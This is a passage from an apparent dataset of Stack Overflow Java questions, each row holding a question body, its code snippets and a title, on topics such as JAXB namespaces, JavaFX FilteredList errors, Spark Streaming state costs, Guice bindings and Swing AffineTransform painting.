vendor supply a schema . This ca n't be changed , and the vendor will continue to ship XML like this in the future.To generate JAXB bindings , I 've created a schema like this : Note that I 've declared a more or less meaningful namespace ( `` http : //acme.com/schema '' ) so that it could be used for element references , etc . XJC generates the following package-info.java : Then I try to unmarshal XML document : Here 's the exception I get : Obviously , this happens because XML elements belong to an empty namespace , while JAXB classes have a non-empty one.Is there a way to fake an XML namespace ( probably during XML parsing ) , so that JAXB would recognize the elements and successfully bind them ? SAX/StAX solutions would be preferred over DOM , because XML documents could be rather huge .","< ? xml version= '' 1.0 '' encoding= '' utf-8 '' ? > < Foo > < Bar > ... < /Bar > < Bar > ... < /Bar > < /Foo > < ? xml version= '' 1.0 '' encoding= '' utf-8 '' ? > < xsd : schema xmlns : xsd= '' http : //www.w3.org/2001/XMLSchema '' targetNamespace= '' http : //acme.com/schema '' xmlns : tns= '' http : //acme.com/schema '' elementFormDefault= '' qualified '' > < xsd : element name= '' Foo '' > < xsd : complexType > < xsd : sequence > < xsd : element ref= '' tns : Bar '' maxOccurs= '' unbounded '' / > < /xsd : sequence > < /xsd : complexType > < /xsd : element > < xsd : element name= '' Bar '' > ... < /xsd : element > < /xsd : schema > @ javax.xml.bind.annotation.XmlSchema ( namespace = `` http : //acme.com/schema '' , elementFormDefault = javax.xml.bind.annotation.XmlNsForm.QUALIFIED ) package com.acme.schema ; JAXBContext jaxb = JAXBContext.newInstance ( `` com.acme.schema '' ) ; Unmarshaller unmarshaller = jaxb.createUnmarshaller ( ) ; InputStream is = this.getClass ( ) .getClassLoader ( ) .getResourceAsStream ( `` test.xml '' ) ; InputSource source = new InputSource ( is ) ; Foo foo = ( Foo ) unmarshaller.unmarshal ( source ) ; javax.xml.bind.UnmarshalException : unexpected element ( uri : '' '' , local : '' Foo '' ) . Expected elements are < { http : //acme.com/schema } Foo > , ... >",JAXB and namespace-less XML +Java,"I created a simple application to test filtered lists and their behavior when the corresponding source list changes . I 'd like to test update changes also , so I created ObservableList of ObservableLists . It is faster and simpler than creating additional class like Person that have observable fields.The code looks so : I 've discovered a strange error during testing : The difference between basicSimple and basicComposed is that latter have an extractor defined , so it receives update events . In the middle of processing update event the exception was thrown by a native code . What should I consider to make the sample code work without errors ? Bit of debuggingI 've inserted println to the end of the nonEmptyFilter predicate test . It works correctly and the ObservableList passed to it is as expected new value that was just updated . The error occurs later when some iternal code of FilteredList is executing .","ListChangeListener < ObservableList < String > > changeNotifier = new ListChangeListener < ObservableList < String > > ( ) { @ Override public void onChanged ( Change < ? extends ObservableList < String > > c ) { while ( c.next ( ) ) { if ( c.wasPermutated ( ) ) { System.out.println ( `` permutation '' ) ; } else if ( c.wasUpdated ( ) ) { System.out.println ( `` update '' ) ; } else { if ( c.wasRemoved ( ) ) { System.out.println ( `` remove '' ) ; } if ( c.wasAdded ( ) ) { System.out.println ( `` add '' ) ; } if ( c.wasReplaced ( ) ) { System.out.println ( `` replace '' ) ; } } } } } ; Callback < ObservableList < String > , Observable [ ] > identityExtractor = new Callback < ObservableList < String > , Observable [ ] > ( ) { @ Override public Observable [ ] call ( ObservableList < String > param ) { return new Observable [ ] { param } ; } } ; Predicate < ObservableList < String > > nonEmptyFilter = new Predicate < ObservableList < String > > ( ) { @ Override public boolean test ( ObservableList < String > obsl ) { boolean nonEmpty = ! obsl.isEmpty ( ) ; for ( String item : obsl ) { nonEmpty = nonEmpty & & ( null ! = item ) & & ( `` '' ! = item ) ; } ; return nonEmpty ; } } ; ObservableList < ObservableList < String > > basicSimple = FXCollections.observableArrayList ( ) ; ObservableList < ObservableList < String > > basicComposed = FXCollections.observableArrayList ( identityExtractor ) ; ObservableList < ObservableList < String > > filteredSimple = basicSimple.filtered ( nonEmptyFilter ) ; ObservableList < ObservableList < String > > filteredComposed = basicComposed.filtered ( nonEmptyFilter ) ; System.out.println ( `` Basic testing '' ) ; System.out.println ( `` Add invalid '' ) ; basicSimple.addAll ( FXCollections.observableArrayList ( `` '' ) ) ; System.out.println ( basicSimple ) ; System.out.println ( filteredSimple ) ; System.out.println ( `` Make it valid '' ) ; basicSimple.get ( 0 ) .addAll ( `` first '' ) ; System.out.println ( filteredSimple ) ; System.out.println ( `` Add valid '' ) ; basicSimple.addAll ( FXCollections.observableArrayList ( `` Second '' ) ) ; System.out.println ( filteredSimple ) ; System.out.println ( `` Composed testing '' ) ; System.out.println ( `` Add invalid '' ) ; basicComposed.addAll ( FXCollections.observableArrayList ( `` '' ) ) ; System.out.println ( basicComposed ) ; System.out.println ( filteredComposed ) ; System.out.println ( `` Make it valid '' ) ; basicComposed.get ( 0 ) .addAll ( `` first '' ) ; System.out.println ( filteredComposed ) ; System.out.println ( `` Add valid '' ) ; basicComposed.addAll ( FXCollections.observableArrayList ( `` Second '' ) ) ; System.out.println ( filteredComposed ) ; [ info ] Running helloworld.HelloWorld Basic testingAdd invalid [ [ ] ] [ ] Make it valid [ ] Add valid [ [ Second ] ] Composed testingAdd invalid [ [ ] ] [ ] Make it valid [ error ] ( JavaFX Application Thread ) java.lang.ArrayIndexOutOfBoundsExceptionjava.lang.ArrayIndexOutOfBoundsException at java.lang.System.arraycopy ( Native Method ) at javafx.collections.transformation.FilteredList.updateFilter ( FilteredList.java:298 ) at javafx.collections.transformation.FilteredList.update ( FilteredList.java:239 ) at javafx.collections.transformation.FilteredList.sourceChanged ( FilteredList.java:137 ) at javafx.collections.transformation.TransformationList.lambda $ getListener $ 16 ( TransformationList.java:106 ) at javafx.collections.transformation.TransformationList $ $ Lambda $ 63/1596532574.onChanged ( Unknown Source ) at javafx.collections.WeakListChangeListener.onChanged ( WeakListChangeListener.java:88 ) at com.sun.javafx.collections.ListListenerHelper $ SingleChange.fireValueChangedEvent ( ListListenerHelper.java:164 ) at com.sun.javafx.collections.ListListenerHelper.fireValueChangedEvent ( ListListenerHelper.java:73 ) at javafx.collections.ObservableListBase.fireChange ( ObservableListBase.java:233 ) at javafx.collections.ListChangeBuilder.commit ( ListChangeBuilder.java:485 ) at javafx.collections.ListChangeBuilder.endChange ( ListChangeBuilder.java:541 ) at javafx.collections.ObservableListBase.endChange ( ObservableListBase.java:205 ) at com.sun.javafx.collections.ObservableListWrapper.access $ 200 ( ObservableListWrapper.java:45 ) at com.sun.javafx.collections.ObservableListWrapper $ 1 $ 1.invalidated ( ObservableListWrapper.java:75 ) at com.sun.javafx.collections.ListListenerHelper $ SingleInvalidation.fireValueChangedEvent ( ListListenerHelper.java:126 ) at com.sun.javafx.collections.ListListenerHelper.fireValueChangedEvent ( ListListenerHelper.java:73 ) at javafx.collections.ObservableListBase.fireChange ( ObservableListBase.java:233 ) at javafx.collections.ListChangeBuilder.commit ( ListChangeBuilder.java:482 ) at javafx.collections.ListChangeBuilder.endChange ( ListChangeBuilder.java:541 ) at javafx.collections.ObservableListBase.endChange ( ObservableListBase.java:205 ) at javafx.collections.ModifiableObservableListBase.addAll ( ModifiableObservableListBase.java:102 ) at javafx.collections.ObservableListBase.addAll ( ObservableListBase.java:245 ) at helloworld.HelloWorld.start ( HelloWorld.java:87 ) at com.sun.javafx.application.LauncherImpl.lambda $ launchApplication1 $ 153 ( LauncherImpl.java:821 ) at com.sun.javafx.application.LauncherImpl $ $ Lambda $ 55/7143454.run ( Unknown Source ) at com.sun.javafx.application.PlatformImpl.lambda $ runAndWait $ 166 ( PlatformImpl.java:323 ) at com.sun.javafx.application.PlatformImpl $ $ Lambda $ 51/397137382.run ( Unknown Source ) at com.sun.javafx.application.PlatformImpl.lambda $ null $ 164 ( PlatformImpl.java:292 ) at com.sun.javafx.application.PlatformImpl $ $ Lambda $ 53/1802784360.run ( Unknown Source ) at java.security.AccessController.doPrivileged ( Native Method ) at com.sun.javafx.application.PlatformImpl.lambda $ runLater $ 165 ( PlatformImpl.java:291 ) at com.sun.javafx.application.PlatformImpl $ $ Lambda $ 52/1184782272.run ( Unknown Source ) at com.sun.glass.ui.InvokeLaterDispatcher $ Future.run ( InvokeLaterDispatcher.java:95 ) at com.sun.glass.ui.gtk.GtkApplication._runLoop ( Native Method ) at com.sun.glass.ui.gtk.GtkApplication.lambda $ null $ 45 ( GtkApplication.java:126 ) at com.sun.glass.ui.gtk.GtkApplication $ $ Lambda $ 43/450111611.run ( Unknown Source ) at java.lang.Thread.run ( Thread.java:745 ) [ trace ] Stack trace suppressed : run last compile : run for the full output . [ ] Add valid [ [ Second ] ]",FilteredList gives java.lang.ArrayIndexOutOfBoundsException on update +Java,"I am decomposing a single long into a long [ ] of single bit longs bybut I feel like there might be a faster way to do this , since it seems like there are some repeated steps . For example , counting the bits should already come pretty close to getting all the info needed to populate the result.Any suggestions ? I 'm familiar with the premature optimization mantra , hence why I 'm not pushing my solution any further on my time , but perhaps someone else has seen this before or is addicted to optimization ... EDIT : please run any suggestions through the test harness Mark provided below . I am more than a bit surprised that my first inkling is actually holding up.test code , which is inside a JUnit method : then compare base and base2","public static int decompose ( long [ ] buffer , long base ) { int count = Long.bitCount ( base ) ; for ( int i=0 ; i < count ; i++ ) { base ^= ( buffer [ i ] = Long.lowestOneBit ( base ) ) ; } return count ; } Random rng = new Random ( ) ; long size = 0 ; long [ ] hold = new long [ Long.SIZE ] ; System.out.println ( `` init : '' +Long.toBinaryString ( BitTwiddling.bitmask ( rng.nextInt ( Long.SIZE ) ) ) ) ; //initialize BitTwiddling internalslong start = System.currentTimeMillis ( ) ; for ( int i=0 ; i < compareIterations ; i++ ) size+= BitTwiddling.decompose ( hold , rng.nextInt ( Integer.MAX_VALUE ) ) ; long delta = System.currentTimeMillis ( ) - start ; double base = ( double ) size/delta ; size = 0 ; start = System.currentTimeMillis ( ) ; for ( int i=0 ; i < compareIterations ; i++ ) size += BitTwiddling.decomposeAlt ( hold , rng.nextInt ( Integer.MAX_VALUE ) ) ; long delta2 = System.currentTimeMillis ( ) - start ; double base2 = ( double ) size/delta2 ;",bit twiddling in java - decomposing long into long [ ] of bitmasks +Java,"I was working with relatively large String arrays today . ( Roughly 400 x 400 in size ) I was wondering how making one array equal to another works exactly . For instance , Is making one array equal to another the same thing as looping through each element and making it equal to the respective position in another array ? ( Like below ) Now is the looping method the same thing as making one array equal to another ? Or is the first/second faster than the other ? Personally , I think the first would be faster just because there is no recursion or having to manually allocate memory to array2 before the recursion . But , I have no idea where to start looking for this information and I would like to understand the logistics of how Java processes these kinds of things .",String [ ] [ ] array1 = new String [ 400 ] [ 400 ] ; String [ ] [ ] array2 = array1 ; for ( int y = 0 ; y < 400 ; y++ ) { for ( int x = 0 ; x < 400 ; x++ ) { array2 [ x ] [ y ] = array1 [ x ] [ y ] ; } },Java : How arrays work +Java,"I 'm trying to use a Spring variable in javascript : and I found some information hereso I tried : In my browser 's source tab I have something like : and the error is : Uncaught SyntaxError : Invalid shorthand property initializer.I also tried with : var xxx = /* [ [ $ { states } ] ] */ 'foo ' ; and if i print console.log ( xxx ) , I got 'foo ' .","Map < String , List < String > > states ; < script th : inline= '' javascript '' > /* < ! [ CDATA [ */ var xxx = $ { states } ; console.log ( xxx ) ; /* ] ] > */ < /script > var xxx = { STATE1= [ a , b , c , d ] } ; console.log ( xxx ) ;",Using Spring variable in javascript +Java,"Now , I 'm not sure whether this is a stupid question , please bear with me if it is.Is the lock on an object `` recursive '' , i. e. if two objects have references to a third object in their fields and a thread is running a synchronized method on one of the two , can any other thread access the third object ?",// a and b are some objects that implement Runnable// they both reference the same third objecta.ref = c ; b.ref = c ; // a is run in a thread and processes some data in a loop for a long time// the method the loop belongs to is declared synchronizedthreadA = new Thread ( a ) ; threadA.start ( ) ; a.someSyncedMethod ( ) ; // this would block ... b.ref.someOtherSyncedMethod ( ) ; // ... but would this ? a.ref.someOtherSyncedMethod ( ) ; // ... and how about this ?,"Java : What , if anything , is locked by synchronized methods apart from the object they belong to ?" +Java,"I was reading this article on Java Generics and there it is mentioned that the constructor for an ArrayList looks somewhat like this : I was not able to understand how type erasure and type checking by the compiler happens as explained there . One point I got was that the type parameter is transformed to Object type.I would imagine it as ( replacing all V with Object ) , but this definitely wrong.How exactly is it transformed to Object type but still retaining the type safety for V ? when I have ArrayList < String > and ArrayList < Integer > are there two different classes for each ? If not , where is the type information of String and Integer is stored ?",class ArrayList < V > { private V [ ] backingArray ; public ArrayList ( ) { backingArray = ( V [ ] ) new Object [ DEFAULT_SIZE ] ; } } class ArrayList < Object > { private Object [ ] backingArray ; public ArrayList ( ) { backingArray = ( Object [ ] ) new Object [ DEFAULT_SIZE ] ; } },type erasure in implementation of ArrayList in Java +Java,"Based on our experiments we see that stateful Spark Streaming internal processing costs take significant amount of time when state becomes more than a million of objects . As a result latency suffers , because we have to increase batch interval to avoid unstable behavior ( processing time > batch interval ) .It has nothing to do with specifics of our app , since it can be reproduced by code below.What are exactly those Spark internal processing/infrastructure costs that take it so much time to handle user state ? Is there any options to decrease processing time besides of simply increasing batch interval ? We planned to use state extensively : at least 100MB or so on a each of a few nodes to keep all data in memory and only dump it once in hour.Increasing batch interval helps , but we want to keep batch interval minimal.The reason is probably not space occupied by state , but rather large object graph , because when we changed list to large array of primitives , the problem gone.Just a guess : it might has something to do with org.apache.spark.util.SizeEstimator used internally by Spark , because it shows up while profiling from time to time.Here is simple demo to reproduce the picture above on modern iCore7 : less than 15 MB of stateno stream input at allquickest possible ( dummy ) 'updateStateByKey ' functionbatch interval 1 secondcheckpoint ( required by Spark , must have ) to local disktested both locally and on YARNCode :","package spark ; import org.apache.commons.lang3.RandomStringUtils ; import org.apache.spark.HashPartitioner ; import org.apache.spark.SparkConf ; import org.apache.spark.api.java.JavaPairRDD ; import org.apache.spark.streaming.Durations ; import org.apache.spark.streaming.api.java.JavaPairDStream ; import org.apache.spark.streaming.api.java.JavaStreamingContext ; import org.apache.spark.util.SizeEstimator ; import scala.Tuple2 ; import java.io.Serializable ; import java.util.ArrayList ; import java.util.List ; public class SlowSparkStreamingUpdateStateDemo { // Very simple state model static class State implements Serializable { final List < String > data ; State ( List < String > data ) { this.data = data ; } } public static void main ( String [ ] args ) { SparkConf conf = new SparkConf ( ) // Tried KryoSerializer , but it does not seem to help much //.set ( `` spark.serializer '' , `` org.apache.spark.serializer.KryoSerializer '' ) .setMaster ( `` local [ * ] '' ) .setAppName ( SlowSparkStreamingUpdateStateDemo.class.getName ( ) ) ; JavaStreamingContext javaStreamingContext = new JavaStreamingContext ( conf , Durations.seconds ( 1 ) ) ; javaStreamingContext.checkpoint ( `` checkpoint '' ) ; // a must ( if you have stateful operation ) List < Tuple2 < String , State > > initialRddGeneratedData = prepareInitialRddData ( ) ; System.out.println ( `` Estimated size , bytes : `` + SizeEstimator.estimate ( initialRddGeneratedData ) ) ; JavaPairRDD < String , State > initialRdd = javaStreamingContext.sparkContext ( ) .parallelizePairs ( initialRddGeneratedData ) ; JavaPairDStream < String , State > stream = javaStreamingContext .textFileStream ( `` . '' ) // fake : effectively , no input at all .mapToPair ( input - > ( Tuple2 < String , State > ) null ) // fake to get JavaPairDStream .updateStateByKey ( ( inputs , maybeState ) - > maybeState , // simplest possible dummy function new HashPartitioner ( javaStreamingContext.sparkContext ( ) .defaultParallelism ( ) ) , initialRdd ) ; // set generated state stream.foreachRDD ( rdd - > { // simplest possible action ( required by Spark ) System.out.println ( `` Is empty : `` + rdd.isEmpty ( ) ) ; return null ; } ) ; javaStreamingContext.start ( ) ; javaStreamingContext.awaitTermination ( ) ; } private static List < Tuple2 < String , State > > prepareInitialRddData ( ) { // 'stateCount ' tuples with value = list of size 'dataListSize ' of strings of length 'elementDataSize ' int stateCount = 1000 ; int dataListSize = 200 ; int elementDataSize = 10 ; List < Tuple2 < String , State > > initialRddInput = new ArrayList < > ( stateCount ) ; for ( int stateIdx = 0 ; stateIdx < stateCount ; stateIdx++ ) { List < String > stateData = new ArrayList < > ( dataListSize ) ; for ( int dataIdx = 0 ; dataIdx < dataListSize ; dataIdx++ ) { stateData.add ( RandomStringUtils.randomAlphanumeric ( elementDataSize ) ) ; } initialRddInput.add ( new Tuple2 < > ( `` state '' + stateIdx , new State ( stateData ) ) ) ; } return initialRddInput ; } }",Spark Streaming : Why internal processing costs are so high to handle user state of a few MB ? +Java,"We have 5-10 developers working on Eclipse with Java here in our shop , and we often are debugging classes that do n't have debug-friendly toString ( ) .Along comes Detail Formatters to save the day . Hurray ! But only my day . If I want to share the joy with my fellow devs , I THINK I have to do some copying and pasting , as do they.That sucks . We 've got N different version control systems that work in Eclipse ... it seems like this would be something that folks would Like To Pass Around.Nothing in the file- > export ... dialog . Nothing via searching the online help . Nothing.I managed to track at least some of the settings to /workspace/.plugins/org.eclipse.core.runtime/.settings/org.eclipse.jdt.dbug.ui.prefs , but Have Reason To Believe there 's more to it than that . Plus , the thought of putting something burried deep in a hidden folder into source control puts my teeth on edge.Is there a better way to share detail formatters ? Ideally this would be something we could just check into our code repo and disseminate that way.EDIT : I 'm using Helios , Service Release 1 , build id 20100917-0705.In addition to the javaLogicalStructures extension point ( for adding logical structure to given classes ) , there 's also one called detailPaneFactories . But this is for creating the pane the text ( or whatever , thanks to this extension point ) the detail formatter renders to . Neither allows extenders to list existing detail formatters ( or logical structures for that matter ) .The bottom of the detailPaneFactories extension does have Something Interesting To Say : computeDetail sounds promising . I 'll keep ya posted ( unless someone else beats me to it ... hurray bounties ) .Hmm ... org.eclipse.jdt.debug.ui.JavaDebugUtils.getPreferenceStore ( ) sounds promising , but I 'd still rather not write a plugin for this myself . Ah ... well . Here 's the code org.eclipse.jdt.internal.debug.ui.JavaDetailFormattersManager uses to load them : So the string in the preference store is just a bunch of CSVs with type-name , snippet , enabled , type-name ... replace \u0000 with , in the snippets , and you 're good to go . That handles the export ( hell , you could just dump the preference string whole hog ) .Import would n't be much harder , though it 'd be nice to not overwrite existing types , or given the user the option to do so , perhaps even with a diff of the two snippets in question.OTOH , I 'd really rather not rely on the inner workings of a class in *.internal . * .","Supplied Implementation : The debug platform contributes a detail pane factory providing a default text source viewer detail pane . The default detail pane displays textual details of a selected element based on the corresponding debug model presentation 's implementation of computeDetail ( IValue value , IValueDetailListener listener ) . /** * Populate the detail formatters map with data from preferences . */ private void populateDetailFormattersMap ( ) { String [ ] detailFormattersList= JavaDebugOptionsManager.parseList ( JDIDebugUIPlugin.getDefault ( ) .getPreferenceStore ( ) .getString ( IJDIPreferencesConstants.PREF_DETAIL_FORMATTERS_LIST ) ) ; fDetailFormattersMap= new HashMap ( detailFormattersList.length / 3 ) ; for ( int i= 0 , length= detailFormattersList.length ; i < length ; ) { String typeName= detailFormattersList [ i++ ] ; String snippet= detailFormattersList [ i++ ] .replace ( '\u0000 ' , ' , ' ) ; boolean enabled= ! JavaDetailFormattersPreferencePage.DETAIL_FORMATTER_IS_DISABLED.equals ( detailFormattersList [ i++ ] ) ; fDetailFormattersMap.put ( typeName , new DetailFormatter ( typeName , snippet , enabled ) ) ; } }","Barring copy & paste , is there a way to share Java detail formatters" +Java,"Can id resources refer to an element later in the file ? Here I have two fields , one for the username , and another for the password . I create a new ID resource ( with the @ +id/ syntax ) for the password field , but the username field can not find it in the android : nextFocusDown field . I have omitted other fields from the layout xml , because they are n't relevant.How would I need to declare the IDs in this case ? Building with gradle , I 'm getting an error that looks like this : Error : ( 41 , 32 ) No resource found that matches the given name ( at 'nextFocusDown ' with value ' @ id/login_password ' ) .I do not get an error for android : nextFocusUp= '' @ id/login_username '' field , which leads me to believe you must declare the id before you use it.I also get compile errors in my code , because no R.java file is being generated , most likely because the resources it builds from are n't building either.With all the fancy build tools in android , I 'm surprised this is a problem . Is this a known problem or desired behavior ?",< EditText android : id= '' @ +id/login_username '' android : nextFocusDown= '' @ id/login_password '' / > < EditText android : id= '' @ +id/login_password '' android : nextFocusUp= '' @ id/login_username '' android : nextFocusDown= '' @ id/login_submit '' / >,Can Android ID resources refer forwards ? +Java,This is the my code..Why class VolatileCachedFactorizer is thread according to Book But My point is..1 . @ Line 1 if 2 thread coming at same time at that point 1st thread check condition and found factor=null and 2nd thread also check same condition at the same time after 1st thread suspend at line 2nd and found factor=nullAnd both will be create new OneValueCached Object Then how this code is thread safe.. According to book this is thread safe.. Thank 's,"@ immutable // This is not a standard annotation .Only for Showing that behavior of Class class OneValueCached { private final BigInteger lastNumber ; private final BigInteger [ ] lastFactors ; public OneValueCached ( BigInteger i , BigInteger [ ] factors ) { lastNumber=i ; lastFactors=Arrays.copyOf ( factors , factors.length ) ; } public BigInteger [ ] getFactors ( BigInteger i ) { if ( lastNumber==null || ! lastNumber.equals ( i ) ) return null ; else return Arrays.copyOf ( lastFactors , lastFactors.length ) ; } } @ threadSafe // This is not a standard annotation .Only for Showing that behavior of Class public class VolatileCachedFactorizer implements Servlet { private volatile OneValueCached cache=new OneValueCached ( null , null ) ; public void service ( ServletRequest req , ServletResponce resp ) { BigInteger i= extractFromRequest ( req ) ; BigInteger [ ] factors=cache.getFactors ( i ) ; if ( factors==null ) { // -- - > line 1 factors=factor ( i ) ; // -- > line 2 cache=new OneValueCached ( i , factors ) ; } encodeIntoResponse ( resp , factors ) ; } }",How and why This code is Thread Safe.. ? +Java,"I 'm studying for an exam and I need some help to understand what is going on in the following snipped of code.Ok this is what I think : c.method1 ( c ) invokes method1 in C and not method1 in D because c is decleard as a C therefore method1 in D is not visible . But b.method1 ( b ) is more difficult . B does not have method1 and I assumed that method1 in the superclass will be used , but it is not . Why is it using the method in C ? I put a new D in b but nothing of the specialization of D is visable , because b is from the type B .",class A { public void method1 ( A X ) { System.out.println ( `` A '' ) ; } } class B extends A { public void method2 ( ) { System.out.println ( `` B '' ) ; } } class C extends B { public void method1 ( A x ) { System.out.println ( `` C '' ) ; } } class D extends C { public void method1 ( D x ) { System.out.println ( `` D '' ) ; } } public class test { public static void main ( String [ ] args ) { C c = new D ( ) ; B b = c ; c.method1 ( c ) ; // prints C b.method1 ( b ) ; // prints C } },Inheritance and overloading in Java +Java,"Some time ago I wrote a little image viewer/processing program with Java , a mini-Photoshop , if you will . I wanted there to be a drop-down menu where I could select which one of the images I have opened would be `` on the table '' , ie . shown and methods applied to . I wanted the name of the image to be the name of the JMenuItem shown in the menu . I also wanted a new button to appear when I add a new image.I wondered this for some time and finally produced this solution , a new class that handles the creation of the new button when an image is added . The code is as follows : This works as it should . For this site I translated the original Finnish names to English , wonder why I wrote them in Finnish originally ... I suck at naming things.Method add is supposed to be called multiple times while the program is running.What I can not understand really is the inner class implementation of the interface ActionListener , namely its compilation and how it works . If I have two buttons on my interface and I want them to do different things , I need two inner classes , one for each , each having its own inner implementation of the interface ActionListener . But in my code there is one class that seems to do the work of many , one complied .class-file for it , but the final result works as if there were many.Can someone educate me on this issue ? Is this code here one class and new buttons are instances of it ? Are they new classes ? Should there be a new .class-file for each new button ? etc ...",import java.awt.event . * ; import javax.swing . * ; import java.util . * ; public class ImageList { private ArrayList < JMenuItem > list ; private ImageHandler main ; private ImageLevel img ; public ImageList ( ) { } public void setHandler ( ImageHandler hand ) { main = hand ; img = main.getImg1 ( ) ; } public void add ( Buffer addi ) { final String added = addi.getName ( ) ; JMenuItem uusi = new JMenuItem ( added ) ; main.getMenu5 ( ) .add ( uusi ) ; uusi.addActionListener ( new ActionListener ( ) { public void actionPerformed ( ActionEvent e ) { img.setBuffer ( added ) ; main.getScr ( ) .updateUI ( ) ; } } ) ; } },Java inner class usage and instantiation +Java,"I am using guice and saw an example that is using binder ( ) .requireExplicitBindings ( ) here.The example looks like that : That cause exceptions such asIs it mandatory to use it , or just recommended ? and if its only recommended I just wonder why to use it ?","Injector injector = Guice.createInjector ( new SandwichModule ( ) , new AbstractModule ( ) { @ Override protected void configure ( ) { binder ( ) .requireExplicitBindings ( ) ; bind ( GuiceFilter.class ) ; } } ) ; com.google.inject.ConfigurationException : Guice configuration errors:1 ) Explicit bindings are required and ...",is it mandatory/recommended to use requireExplicitBindings +Java,"I want to iterate over a stacktrace.The stacktrace consists of throwables whose getCause ( ) returns the next throwable . The last call to getCause ( ) returns null . ( Example : a - > b - > null ) I 've tried to use Stream.iterable ( ) which results in a NullPointerException , since the elements in the iterable ca n't be null.Here is a short demonstration of the problem : I 'm currently using a while loop to create a collection manually : Is there a better way ( shorter , more functional ) to achieve this ?","public void process ( ) { Throwable b = new Throwable ( ) ; Throwable a = new Throwable ( b ) ; Stream.iterate ( a , Throwable : :getCause ) .forEach ( System.out : :println ) ; } public void process ( ) { Throwable b = new Throwable ( ) ; Throwable a = new Throwable ( b ) ; List < Throwable > list = new ArrayList < > ( ) ; Throwable element = a ; while ( Objects.nonNull ( element ) ) { list.add ( element ) ; element = element.getCause ( ) ; } list.stream ( ) .forEach ( System.out : :println ) ; }",Turn linked Objects into Stream or Collection +Java,"I 've been working up an answer for another question and came across a bizare issue that I 've not seen before ... Basically , the program uses a AffineTransform to provide translation , scaling and rotating of a Graphics element , simple enough stuff , done a thousand times beforeThe problem is , when the screen first appears , the output is not where it should be , but once I touch one of the controls ( adjust one of the slides ) it jumps to the right spot.Based on the screen shots , the Graphics content seems to be misplaced by the amount of the other controls.If I remove the controls from the GUI , it appears in the right spot ( in the center ) . If I resize the window , it does n't fix the issue , it only fixes when one of the sliders triggers repaint on the DrawPane ... I 've added diagnostics to the output and the all the values are the same - that is , they print the same values when the program first starts and when I adjust all slider values to their initial values.If I remove the setRotation and setScale calls from the AffineTransform , it does n't fix it . If I remove the setTranslation , the square is n't initially painted until the panel is updated ( it 's painted off screen ) If I use Graphics2D g2d = ( Graphics ) g ; instead of g.create ( ) , same result ( and yes , I reset the transform before the paintComponent method exited ; ) ) Basically , it appears that the Graphics context , for some reason is not been translated properly when it is first painted and I have no idea why ... ps- Test on Java 6 and Java 7 under Windows 7pps- I 've also tried setting the initial scale and rotation to other values before the screen was visible , same resultSystem PropertiesUpdatedIf I use ... Instead of the AffineTransform , it works fine . I 've noted that it does n't matter how I use the AffineTransform ( translation only , rotation only , scale only ) I seem to get the same resultsUpdated with example imageExample showing resizing frame ... nb The last position shift of the rectangle is a result of the MouseListener mentioned belowHowever , if I add a MosueListener to the DrawPane ( either direclty within the class or externally via the myPanel instance ) and call repaint on mouseClicked , it re-aligns correctly : PUpdatedIf I translate a Shape , using the followingThe resulting output is in align with expectations , but the ( graphics ) output is still wrong ...","import java.awt.BorderLayout ; import java.awt.Color ; import java.awt.Dimension ; import java.awt.EventQueue ; import java.awt.Graphics ; import java.awt.Graphics2D ; import java.awt.GridBagConstraints ; import java.awt.GridBagLayout ; import java.awt.geom.AffineTransform ; import javax.swing.JFrame ; import javax.swing.JPanel ; import javax.swing.JSlider ; import javax.swing.SwingConstants ; import javax.swing.SwingUtilities ; import javax.swing.UIManager ; import javax.swing.event.ChangeEvent ; import javax.swing.event.ChangeListener ; public class Parker { public static void main ( String [ ] args ) { new Parker ( ) ; } public Parker ( ) { EventQueue.invokeLater ( new Runnable ( ) { @ Override public void run ( ) { try { UIManager.setLookAndFeel ( UIManager.getSystemLookAndFeelClassName ( ) ) ; } catch ( Exception ex ) { } JFrame frame = new JFrame ( `` Testing '' ) ; frame.setDefaultCloseOperation ( JFrame.EXIT_ON_CLOSE ) ; frame.add ( new ControlPane ( ) ) ; frame.pack ( ) ; frame.setLocationRelativeTo ( null ) ; frame.setVisible ( true ) ; } } ) ; } public class ControlPane extends JPanel { private JSlider slider ; //declare slider private DrawPane myPanel ; public ControlPane ( ) { setLayout ( new BorderLayout ( ) ) ; myPanel = new DrawPane ( ) ; myPanel.setBackground ( Color.cyan ) ; //change background color slider = new JSlider ( SwingConstants.VERTICAL , 0 , 400 , 100 ) ; // restrains the slider from scaling square to 0-300 pixels slider.setMajorTickSpacing ( 20 ) ; //will set tick marks every 10 pixels slider.setPaintTicks ( true ) ; //this actually paints the ticks on the screen slider.addChangeListener ( new ChangeListener ( ) { @ Override public void stateChanged ( ChangeEvent e ) { myPanel.setScale ( slider.getValue ( ) ) ; //Wherever you set the slider , it will pass that value and that will paint on the screen } } ) ; JSlider rotate = new JSlider ( SwingConstants.VERTICAL , 0 , 720 , 0 ) ; rotate.setMajorTickSpacing ( 20 ) ; //will set tick marks every 10 pixels rotate.setPaintTicks ( true ) ; //this actually paints the ticks on the screen rotate.addChangeListener ( new ChangeListener ( ) { @ Override public void stateChanged ( ChangeEvent e ) { JSlider slider = ( JSlider ) e.getSource ( ) ; myPanel.setAngle ( slider.getValue ( ) ) ; } } ) ; add ( slider , BorderLayout.WEST ) ; add ( rotate , BorderLayout.EAST ) ; add ( myPanel ) ; slider.setValue ( 0 ) ; slider.setValue ( 100 ) ; rotate.setValue ( 0 ) ; } } public class DrawPane extends JPanel { private double scale = 1 ; private double angle = 0 ; private final int rectWidth = 20 ; private final int rectHeight = 20 ; @ Override protected void paintComponent ( Graphics g ) //paints obj on the screen { super.paintComponent ( g ) ; //prepares graphic object for drawing int originX = getWidth ( ) / 2 ; int originY = getHeight ( ) / 2 ; int xOffset = - ( rectWidth / 2 ) ; int yOffset = - ( rectHeight / 2 ) ; g.setColor ( Color.BLACK ) ; Graphics2D g2d = ( Graphics2D ) g.create ( ) ; AffineTransform at = new AffineTransform ( ) ; at.translate ( originX , originY ) ; g2d.setTransform ( at ) ; g2d.scale ( scale , scale ) ; g2d.rotate ( Math.toRadians ( angle ) , 0 , 0 ) ; g2d.fillRect ( xOffset , yOffset , rectWidth , rectHeight ) ; g2d.dispose ( ) ; g.setColor ( Color.RED ) ; g.drawRect ( originX + xOffset , originY + yOffset , rectWidth , rectWidth ) ; } public void setAngle ( double angle ) { this.angle = angle ; repaint ( ) ; } public void setScale ( int scale ) { // Scaling is normalized so that 1 = 100 % this.scale = ( scale / 100d ) ; repaint ( ) ; } @ Override public Dimension getPreferredSize ( ) { return new Dimension ( 200 , 200 ) ; } } } 